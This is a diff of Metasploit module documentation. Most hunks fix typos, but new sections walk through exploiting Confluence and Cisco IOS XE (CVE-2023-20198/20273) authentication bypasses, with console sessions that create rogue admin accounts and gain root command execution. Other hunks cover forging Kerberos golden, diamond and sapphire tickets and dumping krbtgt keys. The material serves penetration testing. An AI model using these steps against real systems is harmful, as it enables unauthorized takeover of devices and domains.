[*] instance i-12345678 status: initializing
...
[*] instance i-12345678 status: ok
[*] Instance i-12345678 has IP adrress 35.12.4.1
[*] Instance i-12345678 has IP address 35.12.4.1
[*] Auxiliary module execution completed
```
@@ -56,7 +56,7 @@ can be made available by assigning an Internet routable IP address to a host or
routing traffic to it through an ELB (Elastic Load Balancer). In either case
security-groups are used to open access to network ranges and specific TPC/UDP
ports. Security-groups provide much of the functionality of traditional firewalls
and can be configured by specifyig a protocol, a CIDR and a port.
and can be configured by specifying a protocol, a CIDR and a port.
## How it Works
@@ -126,7 +126,7 @@ Advanced Options:
* `INSTANCE_TYPE`: The instance type
* `MaxCount`: Maximum number of instances to launch
* `MinCount`: Minumum number of instances to launch
* `MinCount`: Minimum number of instances to launch
* `ROLE_NAME`: The instance profile/role name
* `RPORT:` AWS EC2 Endpoint TCP Port
* `SEC_GROUP_ID`: the EC2 security group to use
@@ -127,7 +127,7 @@ has the [KB5014754][KB5014754] patch applied and the REG_DWORD
account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value
of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the
issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the
SID is not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`.
SID is not specified in the certificate, then Kerberos authentication will fail with `KDC_ERR_CERTIFICATE_MISMATCH`.
The user must know:
@@ -0,0 +1,51 @@
## Vulnerable Application
This module exploits an Broken Access Control vulnerability in Atlassian Confluence servers leads to Authentication Bypass.
A specially crafted request can be create new admin account without authorization in the Atlassian server.
Affecting Atlassian Confluence from version 8.0.0 to before 8.3.3, from version 8.4.0 before 8.4.3 and from version 8.5.0 before 8.5.2.
## Verification Steps
1. Setting up a working installation of Atlassian Confluence Server before 8.0.0
2. Start `msfconsole`
3. `use use auxiliary/admin/http/atlassian_confluence_auth_bypass`
4. `set RHOST <IP>`
5. `set RPORT <PORT>`
6. `check`
7. You should see `The target is vulnerable`
8. `set NEW_USERNAME <username>`
9. `set NEW_PASSWORD <password>`
10. `run`
11. You should get a new admin account.
## Options
### TARGETURI
Path to Atlassian Confluence installation ("/" is the default)
### NEW_USERNAME
Username to be used when creating a new user with admin privileges. The username must not contain capital letters.
### NEW_PASSWORD
Password to be used when creating a new user with admin privileges.
### NEW_EMAIL
E-mail to be used when creating a new user with admin privileges.
## Scenarios
### Tested on Confluence Server 8.0.0 with Linux target (Ubuntu 20.04)
```
msf6 > use auxiliary/multi/http/atlassian_confluence_auth_bypass
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set RHOSTS <YOUR_TARGET>
RHOSTS => <YOUR_TARGET>
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_USERNAME admin_1337
NEW_USERNAME => admin_1337
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > set NEW_PASSWORD admin_1337
NEW_PASSWORD => admin_1337
msf6 > auxiliary(admin/http/atlassian_confluence_auth_bypass) > run
[*] Running module against <YOUR_TARGET>
[+] Admin user was created successfully. Credentials: admin_1337 - admin_1337
[+] Now you can login as adminstrator from: http://<YOUR_TARGET>:8090/login.action
[*] Auxiliary module execution completed
```
@@ -128,7 +128,7 @@ ncasCb - Show detailed ncas information, related to either call services,
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
memtop - Shows the top pointer to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
@@ -178,8 +178,8 @@ localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
udiShow - Show Unique Device Identifier
show - Show Unique Device Identifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
@@ -336,7 +336,7 @@ ncasCb - Show detailed ncas information, related to either call services,
uptime - Show phone uptime.
appPrt - Show UI's call status.
fntPrt - Show information about fonts available on phone.
memtop - Shows the top poiter to current memory.
memtop - Shows the top pointer to current memory.
removeScheduledLogEntry - debug
addScheduledLogEntry - debug
fatalError - Simulate fatal error for the phone.
@@ -386,8 +386,8 @@ localePrintAll - localePrintAll
ceShow - Show Client Engine Status
Commands 101 to 121:
udiShow - Show Unique Device Indentifier
show - Show Unique Device Indentifier
udiShow - Show Unique Device Identifier
show - Show Unique Device Identifier
pbnShow - Display app & bootrom headers
upr - Upgrade to a Rockpile Standalone Image
upm - Upgrade to a Rockpile Manf Image
@@ -0,0 +1,172 @@
## Vulnerable Application
This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the
Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.
You must specify the IOS command mode to execute a CLI command in. Valid modes are `user`, `privileged`, and
`global`. To run a command in "Privileged" mode, set the `CMD` option to the command you want to run,
e.g. `show version` and set the `MODE` to `privileged`. To run a command in "Global Configuration" mode, set
the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r` and set
the `MODE` to `global`.
The vulnerable IOS XE versions are:
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
Or
* Setup a virtualized environment.
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
* Create a new CSR1000v instance as a QEMU device.
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
be accessible to a remote attacker.
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
the device:
```
Router>enable
Router#config
Router(config)#ip http server
router(config)#ip http secure-server
router(config)#ip http authentication local
router(config)#username admin privilege 15 secret qwerty
router(config)#exit
Router#copy running-config startup-config
```
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
## Verification Steps
1. Start msfconsole
2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set CMD "username hax0r privilege 15 secret hax0r"`
5. `set MODE global`
6. `run`
7. Visit `https://<TARGET_IP_ADDRESS>/webui/` in a browser and log in with username `hax0r` and password `hax0r`.
## Options
### CMD
The Cisco CLI command to execute.
### MODE
Cisco IOS commands cna be executed in one of several modes, specifically "User EXEC" mode, "Privileged EXEC" mode, and
"Global Configuration" mode. The `MODE` options lets you explicitly set what mode you want the `CMD` to execute in. Valid
modes are `user`, `privileged`, and `global`.
## Scenarios
```
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
RHOST => 192.168.86.57
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
CMD => show version
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
MODE => privileged
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD show version yes The CLI command to execute.
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
[*] Running module against 192.168.86.57
Cisco IOS XE Software, Version 16.12.03
Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Mon 09-Mar-20 21:50 by mcpre
Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc.
All rights reserved. Certain components of Cisco IOS-XE software are
licensed under the GNU General Public License ("GPL") Version 2.0. The
software code licensed under GPL Version 2.0 is free software that comes
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
GPL code under the terms of GPL Version 2.0. For more details, see the
documentation or "License Notice" file accompanying the IOS-XE software,
or the applicable URL provided on the flyer accompanying the IOS-XE
software.
ROM: IOS-XE ROMMON
router uptime is 3 hours, 59 minutes
Uptime for this control processor is 4 hours, 2 minutes
System returned to ROM by reload
System image file is "bootflash:packages.conf"
Last reload reason: reload
This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.
A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
If you require further assistance please contact us by sending email to
export@cisco.com.
License Level: ax
License Type: N/A(Smart License Enabled)
Next reload license Level: ax
Smart Licensing Status: UNREGISTERED/No Licenses in Use
cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory.
Processor board ID 9OVFUOGPESO
4 Gigabit Ethernet interfaces
32768K bytes of non-volatile configuration memory.
3012164K bytes of physical memory.
6188032K bytes of virtual hard disk at bootflash:.
0K bytes of WebUI ODM Files at webui:.
Configuration register is 0x2102
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
[*] Running module against 192.168.86.57
*15:24:05.110 UTC Fri Nov 3 2023
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
```
@@ -0,0 +1,130 @@
## Vulnerable Application
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.
This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
back via the webserver. Finally the output file is deleted and the admin user is removed.
The vulnerable IOS XE versions are:
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW
## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
Or
* Setup a virtualized environment.
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
* Create a new CSR1000v instance as a QEMU device.
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
be accessible to a remote attacker.
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
the device:
```
Router>enable
Router#config
Router(config)#ip http server
router(config)#ip http secure-server
router(config)#ip http authentication local
router(config)#username admin privilege 15 secret qwerty
router(config)#exit
Router#copy running-config startup-config
```
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
## Verification Steps
1. Start msfconsole
2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set CMD "id"`
5. `run`
## Options
### CMD
A Linux OS command to execute on the target device, e.g. `id`
### CISCO_ADMIN_USERNAME
The username of an admin account. If not set, CVE-2023-20198 is leveraged to first create a new admin account and then
the new account is then removed after the module completes.
### CISCO_ADMIN_PASSWORD
The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.
### REMOVE_OUTPUT_TIMEOUT
The maximum timeout (in seconds) to wait when trying to removing the commands output file. The output file
can be locked preventing deleting upon the first attempt, so the module will try again if needed.
## Scenarios
```
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):
Name Current Setting Required Description
---- --------------- -------- -----------
CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023-20198 is leveraged to c
reate a new admin password.
CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023-20198 is leveraged to c
reate a new admin account.
CMD id yes The OS command to execute.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands
output file.
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
rhosts => 10.5.135.193
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
verbose => true
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
[*] Running module against 10.5.135.193
[*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
[*] Removing output file '/var/www/fNrmuBOf'
[*] Removing user 'rfojGrqA'
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
```
@@ -4,7 +4,7 @@ News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vul
## Vulnerable Application
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the parameter name. This allows a user to inject values to an SQL query.
To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.
@@ -28,7 +28,7 @@ The value for query parameter `id` of the page that the news extension is runnin
- [ ] Enable the news extension
- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip)
- [ ] Enable page
- [ ] Verify if page is visble to unauthenticated user and note the id
- [ ] Verify if page is visible to unauthenticated user and note the id
- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'`
- [ ] Username and password hash should have been retrieved
@@ -1,6 +1,6 @@
## Kerberos Ticket Forging (Golden/Silver tickets)
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket.
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket.
## Vulnerable Application
@@ -12,6 +12,8 @@ There are two kind of actions the module can run:
1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default]
2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket.
3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user.
4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick.
## Pre-Verification steps
@@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k
python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
```
### Forging Diamond ticket
A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by:
- Performing an AS-REQ request to retrieve a TGT for any user
- Using the krbtgt hash to decrypt the real ticket
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain.
The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
### Forging Sapphire ticket
A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However,
instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably
high-privilege) user:
- Authenticating to the KDC
- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts)
- Decrypt this information
- Setting properties of the forged PAC to mirror those in the valid TGT
- Encrypting the forged ticket with the krbtgt hash
The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain.
The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT.
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
### Common Mistakes
**Invalid hostname**
@@ -78,7 +78,7 @@ Default is `true`.
This option is only used when requesting a TGS.
The Kerberos TGT to use when requesting the sevice ticket. If unset, the database will be checked'
The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
## Scenarios
@@ -63,7 +63,7 @@ Export Kerberos encryption keys stored in the Metasploit database to a keytab fi
# Secrets dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > run smbuser=Administrator smbpass=p4$$w0rd rhosts=192.168.123.13
... ommitted ...
... omitted ...
# Kerberos keys:
Administrator:aes256-cts-hmac-sha1-96:56c3bf6629871a4e4b8ec894f37489e823bbaecc2a0a4a5749731afa9d158e01
Administrator:aes128-cts-hmac-sha1-96:df990c21c4e8ea502efbbca3aae435ea
@@ -72,7 +72,7 @@ Administrator:des-cbc-crc:ad49d9d92f5da170
krbtgt:aes256-cts-hmac-sha1-96:e1c5500ffb883e713288d8037651821b9ecb0dfad89e01d1b920fe136879e33c
krbtgt:aes128-cts-hmac-sha1-96:ba87b2bc064673da39f40d37f9daa9da
krbtgt:des-cbc-md5:3ddf2f627c4cbcdc
... ommitted ...
... omitted ...
[*] Auxiliary module execution completed
# Export to keytab
@@ -94,7 +94,7 @@ Keytab entries
1 18 (AES256) krbtgt@adf3.local e1c5500ffb883e713288d8037651821b9ecb0dfad89e01d1b920fe136879e33c 1970-01-01 01:00:00 +0100
1 17 (AES128) krbtgt@adf3.local ba87b2bc064673da39f40d37f9daa9da 1970-01-01 01:00:00 +0100
1 3 (DES_CBC_MD5) krbtgt@adf3.local 3ddf2f627c4cbcdc 1970-01-01 01:00:00 +0100
... ommitted ...
... omitted ...
[*] Auxiliary module execution completed
```
@@ -168,7 +168,7 @@ tgs-req
^^^^^^^^^^^^^^ authenticator value now decrypted using the previously generated keytab file
```
If you have exported the `krbtgt` account to the keytab file - Wireshark will also decrypt the TGT ticket itsel. If not - Wireshark
If you have exported the `krbtgt` account to the keytab file - Wireshark will also decrypt the TGT ticket itself. If not - Wireshark
will generate warnings about being unable to decrypt the TGT ticket which is signed using the krbtgt account.
Additional details: https://wiki.wireshark.org/Kerberos
@@ -56,11 +56,11 @@ The file format is determined by the extension so the file must end in either `.
#### The JSON format
The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with
[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies fo certificate to
[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies of certificate to
disk.
#### The YAML format
The YAML file format is similiar to the JSON file format, but takes advantage of YAML's ability to include comments.
The YAML file format is similar to the JSON file format, but takes advantage of YAML's ability to include comments.
The file consists of a hash with attribute name keys and value strings. The `nTSecurityDescriptor` file can be either
a binary string representing a literal value, or a security descriptor defined in Microsoft's [Security Descriptor
Definition Language (SDDL)][sddl]. Premade configuration templates provided by Metasploit use this format.
@@ -32,7 +32,7 @@ Grant Write privileges for sandy to the target machine, i.e. `WS01`:
$TargetComputer = Get-ADComputer 'WS01'
$User = Get-ADUser 'sandy'
# Add GenericWrite access to the user against the target coputer
# Add GenericWrite access to the user against the target computer
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
@@ -32,21 +32,21 @@ Add an admin user to the vCenter Server.
If you already have the LDAP base DN, you may set it in this option.
`dc=vsphere,dc=local` will be used if not set.
### BIND_DN
### USERNAME
If you already have a password to authenticate to the LDAP server (see
BIND_PW), this option let you setup the bind username in DN format (e.g
USERNAME), this option let you setup the bind username in DN format (e.g
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
### BIND_PW
### PASSWORD
The password to authenticate to the LDAP server, if you have it.
### USERNAME
### NEW_USERNAME
Set this to the username for the new admin user.
### PASSWORD
### NEW_PASSWORD
Set this to the password for the new admin user.
@@ -63,11 +63,11 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASSWORD no Password of admin user to add
NEW_PASSWORD no Password of admin user to add
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME no Username of admin user to add
NEW_USERNAME no Username of admin user to add
Auxiliary action:
@@ -79,10 +79,10 @@ Auxiliary action:
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin
username => msfadmin
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin
password => msfadmin
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
new_username => msfadmin
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin
new_password => msfadmin
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
[*] Running module against [redacted]
not verifying SSL hostname of LDAPS server '[redacted]:636'
@@ -140,15 +140,15 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
